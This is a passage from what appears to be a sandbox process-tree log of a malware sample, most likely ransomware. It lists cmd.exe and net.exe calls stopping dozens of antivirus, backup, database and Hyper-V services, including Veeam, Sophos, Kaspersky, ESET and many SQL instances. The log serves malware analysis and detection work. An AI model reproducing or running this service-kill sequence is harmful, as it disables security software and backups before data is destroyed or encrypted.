  2⤵
  PID:7700
- - C:\Windows\system32\net.exe
    net stop "MySQL57"
    3⤵
    PID:7804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MySQL57"
      4⤵
      PID:5312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "OracleClientCache80"
  2⤵
  PID:4136
- - C:\Windows\system32\net.exe
    net stop "OracleClientCache80"
    3⤵
    PID:4188
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "OracleClientCache80"
      4⤵
      PID:3732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "PDVFSService"
  2⤵
  PID:920
- - C:\Windows\system32\net.exe
    net stop "PDVFSService"
    3⤵
    PID:5604
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "PDVFSService"
      4⤵
      PID:7160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "POP3Svc"
  2⤵
  PID:6968
- - C:\Windows\system32\net.exe
    net stop "POP3Svc"
    3⤵
    PID:7608
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "POP3Svc"
      4⤵
      PID:7636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ReportServer"
  2⤵
  PID:7500
- - C:\Windows\system32\net.exe
    net stop "ReportServer"
    3⤵
    PID:976
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ReportServer"
      4⤵
      PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ReportServer$SQL_2008"
  2⤵
  PID:8096
- - C:\Windows\system32\net.exe
    net stop "ReportServer$SQL_2008"
    3⤵
    PID:5856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SQL_2008"
      4⤵
      PID:4580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ReportServer$SYSTEM_BGC"
  2⤵
  PID:6756
- - C:\Windows\system32\net.exe
    net stop "ReportServer$SYSTEM_BGC"
    3⤵
    PID:8184
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC"
      4⤵
      PID:8052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ReportServer$TPS"
  2⤵
  PID:8176
- - C:\Windows\system32\net.exe
    net stop "ReportServer$TPS"
    3⤵
    PID:8436
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPS"
      4⤵
      PID:1584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ReportServer$TPSAMA"
  2⤵
  PID:6428
- - C:\Windows\system32\net.exe
    net stop "ReportServer$TPSAMA"
    3⤵
    PID:7908
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ReportServer$TPSAMA"
      4⤵
      PID:7408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "RESvc"
  2⤵
  PID:9224
- - C:\Windows\system32\net.exe
    net stop "RESvc"
    3⤵
    PID:9252
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "RESvc"
      4⤵
      PID:9264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "sacsvr"
  2⤵
  PID:9300
- - C:\Windows\system32\net.exe
    net stop "sacsvr"
    3⤵
    PID:9332
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "sacsvr"
      4⤵
      PID:9348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SamSs"
  2⤵
  PID:9380
- - C:\Windows\system32\net.exe
    net stop "SamSs"
    3⤵
    PID:9416
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SamSs"
      4⤵
      PID:9432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SAVAdminService"
  2⤵
  PID:9464
- - C:\Windows\system32\net.exe
    net stop "SAVAdminService"
    3⤵
    PID:9480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SAVAdminService"
      4⤵
      PID:9512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SAVService"
  2⤵
  PID:9900
- - C:\Windows\system32\net.exe
    net stop "SAVService"
    3⤵
    PID:9948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SAVService"
      4⤵
      PID:9964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Smcinst"
  2⤵
  PID:6960
- - C:\Windows\system32\net.exe
    net stop "Smcinst"
    3⤵
    PID:3660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Smcinst"
      4⤵
      PID:2228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SmcService"
  2⤵
  PID:7436
- - C:\Windows\system32\net.exe
    net stop "SmcService"
    3⤵
    PID:4740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SmcService"
      4⤵
      PID:7696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SMTPSvc"
  2⤵
  PID:7380
- - C:\Windows\system32\net.exe
    net stop "SMTPSvc"
    3⤵
    PID:7348
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SMTPSvc"
      4⤵
      PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SNAC"
  2⤵
  PID:7464
- - C:\Windows\system32\net.exe
    net stop "SNAC"
    3⤵
    PID:9836
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SNAC"
      4⤵
      PID:9812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SntpService"
  2⤵
  PID:9780
- - C:\Windows\system32\net.exe
    net stop "SntpService"
    3⤵
    PID:1136
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SntpService"
      4⤵
      PID:1648
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "sophossps"
  2⤵
  PID:9524
- - C:\Windows\system32\net.exe
    net stop "sophossps"
    3⤵
    PID:9560
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "sophossps"
      4⤵
      PID:9576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$BKUPEXEC"
  2⤵
  PID:7708
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$BKUPEXEC"
    3⤵
    PID:5440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC"
      4⤵
      PID:6704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$ECWDB2"
  2⤵
  PID:8164
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$ECWDB2"
    3⤵
    PID:308
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$ECWDB2"
      4⤵
      PID:2276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$PRACTTICEBGC"
  2⤵
  PID:8276
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$PRACTTICEBGC"
    3⤵
    PID:3572
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC"
      4⤵
      PID:6556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$PRACTTICEMGT"
  2⤵
  PID:8348
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$PRACTTICEMGT"
    3⤵
    PID:8372
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT"
      4⤵
      PID:8452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$PROFXENGAGEMENT"
  2⤵
  PID:8556
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$PROFXENGAGEMENT"
    3⤵
    PID:8568
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT"
      4⤵
      PID:2712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$SBSMONITORING"
  2⤵
  PID:5276
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$SBSMONITORING"
    3⤵
    PID:6708
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING"
      4⤵
      PID:620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$SHAREPOINT"
  2⤵
  PID:7212
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$SHAREPOINT"
    3⤵
    PID:7176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT"
      4⤵
      PID:5756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$SQL_2008"
  2⤵
  PID:5572
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$SQL_2008"
    3⤵
    PID:6368
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQL_2008"
      4⤵
      PID:6840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$SYSTEM_BGC"
  2⤵
  PID:5476
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$SYSTEM_BGC"
    3⤵
    PID:6500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC"
      4⤵
      PID:7492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$TPS"
  2⤵
  PID:9596
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$TPS"
    3⤵
    PID:9612
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPS"
      4⤵
      PID:9664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$TPSAMA"
  2⤵
  PID:9684
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$TPSAMA"
    3⤵
    PID:9708
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$TPSAMA"
      4⤵
      PID:9732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$VEEAMSQL2008R2"
  2⤵
  PID:9756
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2"
    3⤵
    PID:6276
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2"
      4⤵
      PID:5484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$VEEAMSQL2012"
  2⤵
  PID:3520
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$VEEAMSQL2012"
    3⤵
    PID:6492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012"
      4⤵
      PID:5576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLBrowser"
  2⤵
  PID:7060
- - C:\Windows\system32\net.exe
    net stop "SQLBrowser"
    3⤵
    PID:5640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLBrowser"
      4⤵
      PID:5472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLSafeOLRService"
  2⤵
  PID:5292
- - C:\Windows\system32\net.exe
    net stop "SQLSafeOLRService"
    3⤵
    PID:9856
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLSafeOLRService"
      4⤵
      PID:6268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLSERVERAGENT"
  2⤵
  PID:5612
- - C:\Windows\system32\net.exe
    net stop "SQLSERVERAGENT"
    3⤵
    PID:9696
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLSERVERAGENT"
      4⤵
      PID:9748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLTELEMETRY"
  2⤵
  PID:8980
- - C:\Windows\system32\net.exe
    net stop "SQLTELEMETRY"
    3⤵
    PID:9012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY"
      4⤵
      PID:6488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLTELEMETRY$ECWDB2"
  2⤵
  PID:6056
- - C:\Windows\system32\net.exe
    net stop "SQLTELEMETRY$ECWDB2"
    3⤵
    PID:2336
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2"
      4⤵
      PID:3596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLWriter"
  2⤵
  PID:4364
- - C:\Windows\system32\net.exe
    net stop "SQLWriter"
    3⤵
    PID:8248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLWriter"
      4⤵
      PID:2440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SstpSvc"
  2⤵
  PID:916
- - C:\Windows\system32\net.exe
    net stop "SstpSvc"
    3⤵
    PID:3988
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SstpSvc"
      4⤵
      PID:1760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "svcGenericHost"
  2⤵
  PID:1724
- - C:\Windows\system32\net.exe
    net stop "svcGenericHost"
    3⤵
    PID:4992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "svcGenericHost"
      4⤵
      PID:8624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "tmlisten"
  2⤵
  PID:8644
- - C:\Windows\system32\net.exe
    net stop "tmlisten"
    3⤵
    PID:460
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "tmlisten"
      4⤵
      PID:8660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "TrueKey"
  2⤵
  PID:5708
- - C:\Windows\system32\net.exe
    net stop "TrueKey"
    3⤵
    PID:2260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "TrueKey"
      4⤵
      PID:6164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "UI0Detect"
  2⤵
  PID:8728
- - C:\Windows\system32\net.exe
    net stop "UI0Detect"
    3⤵
    PID:3628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "UI0Detect"
      4⤵
      PID:7272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamBackupSvc"
  2⤵
  PID:2232
- - C:\Windows\system32\net.exe
    net stop "VeeamBackupSvc"
    3⤵
    PID:4828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamBackupSvc"
      4⤵
      PID:5800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamBrokerSvc"
  2⤵
  PID:6080
- - C:\Windows\system32\net.exe
    net stop "VeeamBrokerSvc"
    3⤵
    PID:7972
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamBrokerSvc"
      4⤵
      PID:7944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamCatalogSvc"
  2⤵
  PID:704
- - C:\Windows\system32\net.exe
    net stop "VeeamCatalogSvc"
    3⤵
    PID:6744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamCatalogSvc"
      4⤵
      PID:8732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamCloudSvc"
  2⤵
  PID:5280
- - C:\Windows\system32\net.exe
    net stop "VeeamCloudSvc"
    3⤵
    PID:8912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamCloudSvc"
      4⤵
      PID:6592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamDeploymentService"
  2⤵
  PID:3928
- - C:\Windows\system32\net.exe
    net stop "VeeamDeploymentService"
    3⤵
    PID:6820
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploymentService"
      4⤵
      PID:4556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamDeploySvc"
  2⤵
  PID:7228
- - C:\Windows\system32\net.exe
    net stop "VeeamDeploySvc"
    3⤵
    PID:3440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamDeploySvc"
      4⤵
      PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamEnterpriseManagerSvc"
  2⤵
  PID:5924
- - C:\Windows\system32\net.exe
    net stop "VeeamEnterpriseManagerSvc"
    3⤵
    PID:5656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc"
      4⤵
      PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamMountSvc"
  2⤵
  PID:10208
- - C:\Windows\system32\net.exe
    net stop "VeeamMountSvc"
    3⤵
    PID:7516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamMountSvc"
      4⤵
      PID:5532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamNFSSvc"
  2⤵
  PID:1476
- - C:\Windows\system32\net.exe
    net stop "VeeamNFSSvc"
    3⤵
    PID:7048
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamNFSSvc"
      4⤵
      PID:4928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamRESTSvc"
  2⤵
  PID:8784
- - C:\Windows\system32\net.exe
    net stop "VeeamRESTSvc"
    3⤵
    PID:8800
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamRESTSvc"
      4⤵
      PID:8824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamTransportSvc"
  2⤵
  PID:2496
- - C:\Windows\system32\net.exe
    net stop "VeeamTransportSvc"
    3⤵
    PID:8932
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamTransportSvc"
      4⤵
      PID:3540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "W3Svc"
  2⤵
  PID:8836
- - C:\Windows\system32\net.exe
    net stop "W3Svc"
    3⤵
    PID:780
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "W3Svc"
      4⤵
      PID:4960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "wbengine"
  2⤵
  PID:9040
- - C:\Windows\system32\net.exe
    net stop "wbengine"
    3⤵
    PID:8428
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "wbengine"
      4⤵
      PID:6944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "WRSVC"
  2⤵
  PID:8952
- - C:\Windows\system32\net.exe
    net stop "WRSVC"
    3⤵
    PID:5840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "WRSVC"
      4⤵
      PID:7560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$VEEAMSQL2008R2"
  2⤵
  PID:8444
- - C:\Windows\system32\net.exe
    net stop "MSSQL$VEEAMSQL2008R2"
    3⤵
    PID:8292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2"
      4⤵
      PID:9088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$VEEAMSQL2008R2"
  2⤵
  PID:3016
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$VEEAMSQL2008R2"
    3⤵
    PID:5508
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2"
      4⤵
      PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "VeeamHvIntegrationSvc"
  2⤵
  PID:5788
- - C:\Windows\system32\net.exe
    net stop "VeeamHvIntegrationSvc"
    3⤵
    PID:10148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "VeeamHvIntegrationSvc"
      4⤵
      PID:10140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "swi_update"
  2⤵
  PID:6076
- - C:\Windows\system32\net.exe
    net stop "swi_update"
    3⤵
    PID:7656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "swi_update"
      4⤵
      PID:2208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$CXDB"
  2⤵
  PID:10224
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$CXDB"
    3⤵
    PID:7236
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CXDB"
      4⤵
      PID:4936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$CITRIX_METAFRAME"
  2⤵
  PID:8596
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$CITRIX_METAFRAME"
    3⤵
    PID:1640
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME"
      4⤵
      PID:5836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQL Backups"
  2⤵
  PID:728
- - C:\Windows\system32\net.exe
    net stop "SQL Backups"
    3⤵
    PID:8692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQL Backups"
      4⤵
      PID:10008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$PROD"
  2⤵
  PID:5228
- - C:\Windows\system32\net.exe
    net stop "MSSQL$PROD"
    3⤵
    PID:7100
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROD"
      4⤵
      PID:2936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "Zoolz 2 Service"
  2⤵
  PID:10040
- - C:\Windows\system32\net.exe
    net stop "Zoolz 2 Service"
    3⤵
    PID:5012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "Zoolz 2 Service"
      4⤵
      PID:10104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLServerADHelper"
  2⤵
  PID:7668
- - C:\Windows\system32\net.exe
    net stop "MSSQLServerADHelper"
    3⤵
    PID:10088
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper"
      4⤵
      PID:2140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$PROD"
  2⤵
  PID:7256
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$PROD"
    3⤵
    PID:7596
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$PROD"
      4⤵
      PID:5420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "msftesql$PROD"
  2⤵
  PID:7828
- - C:\Windows\system32\net.exe
    net stop "msftesql$PROD"
    3⤵
    PID:7924
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "msftesql$PROD"
      4⤵
      PID:7876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "NetMsmqActivator"
  2⤵
  PID:8012
- - C:\Windows\system32\net.exe
    net stop "NetMsmqActivator"
    3⤵
    PID:8268
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "NetMsmqActivator"
      4⤵
      PID:8084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "EhttpSrv"
  2⤵
  PID:4764
- - C:\Windows\system32\net.exe
    net stop "EhttpSrv"
    3⤵
    PID:6292
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "EhttpSrv"
      4⤵
      PID:7104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ekrn"
  2⤵
  PID:1520
- - C:\Windows\system32\net.exe
    net stop "ekrn"
    3⤵
    PID:5648
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ekrn"
      4⤵
      PID:3556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "ESHASRV"
  2⤵
  PID:6512
- - C:\Windows\system32\net.exe
    net stop "ESHASRV"
    3⤵
    PID:4948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "ESHASRV"
      4⤵
      PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$SOPHOS"
  2⤵
  PID:5068
- - C:\Windows\system32\net.exe
    net stop "MSSQL$SOPHOS"
    3⤵
    PID:6604
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SOPHOS"
      4⤵
      PID:7304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$SOPHOS"
  2⤵
  PID:6740
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$SOPHOS"
    3⤵
    PID:6940
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SOPHOS"
      4⤵
      PID:5868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "AVP"
  2⤵
  PID:6348
- - C:\Windows\system32\net.exe
    net stop "AVP"
    3⤵
    PID:6948
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "AVP"
      4⤵
      PID:8868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "klnagent"
  2⤵
  PID:5732
- - C:\Windows\system32\net.exe
    net stop "klnagent"
    3⤵
    PID:8844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "klnagent"
      4⤵
      PID:9140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$SQLEXPRESS"
  2⤵
  PID:9144
- - C:\Windows\system32\net.exe
    net stop "MSSQL$SQLEXPRESS"
    3⤵
    PID:9196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS"
      4⤵
      PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "SQLAgent$SQLEXPRESS"
  2⤵
  PID:8092
- - C:\Windows\system32\net.exe
    net stop "SQLAgent$SQLEXPRESS"
    3⤵
    PID:5412
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS"
      4⤵
      PID:1884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "wbengine"
  2⤵
  PID:6016
- - C:\Windows\system32\net.exe
    net stop "wbengine"
    3⤵
    PID:6040
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "wbengine"
      4⤵
      PID:6680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "HvHost"
  2⤵
  PID:428
- - C:\Windows\system32\net.exe
    net stop "HvHost"
    3⤵
    PID:6444
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "HvHost"
      4⤵
      PID:1360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmickvpexchange"
  2⤵
  PID:7752
- - C:\Windows\system32\net.exe
    net stop "vmickvpexchange"
    3⤵
    PID:3732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmickvpexchange"
      4⤵
      PID:4192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmicguestinterface"
  2⤵
  PID:6092
- - C:\Windows\system32\net.exe
    net stop "vmicguestinterface"
    3⤵
    PID:8008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmicguestinterface"
      4⤵
      PID:6588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmicshutdown"
  2⤵
  PID:7628
- - C:\Windows\system32\net.exe
    net stop "vmicshutdown"
    3⤵
    PID:2460
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmicshutdown"
      4⤵
      PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmicheartbeat"
  2⤵
  PID:1828
- - C:\Windows\system32\net.exe
    net stop "vmicheartbeat"
    3⤵
    PID:6628
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmicheartbeat"
      4⤵
      PID:1244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmcompute"
  2⤵
  PID:6584
- - C:\Windows\system32\net.exe
    net stop "vmcompute"
    3⤵
    PID:844
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "vmcompute"
      4⤵
      PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "vmicvmsession"
  2⤵
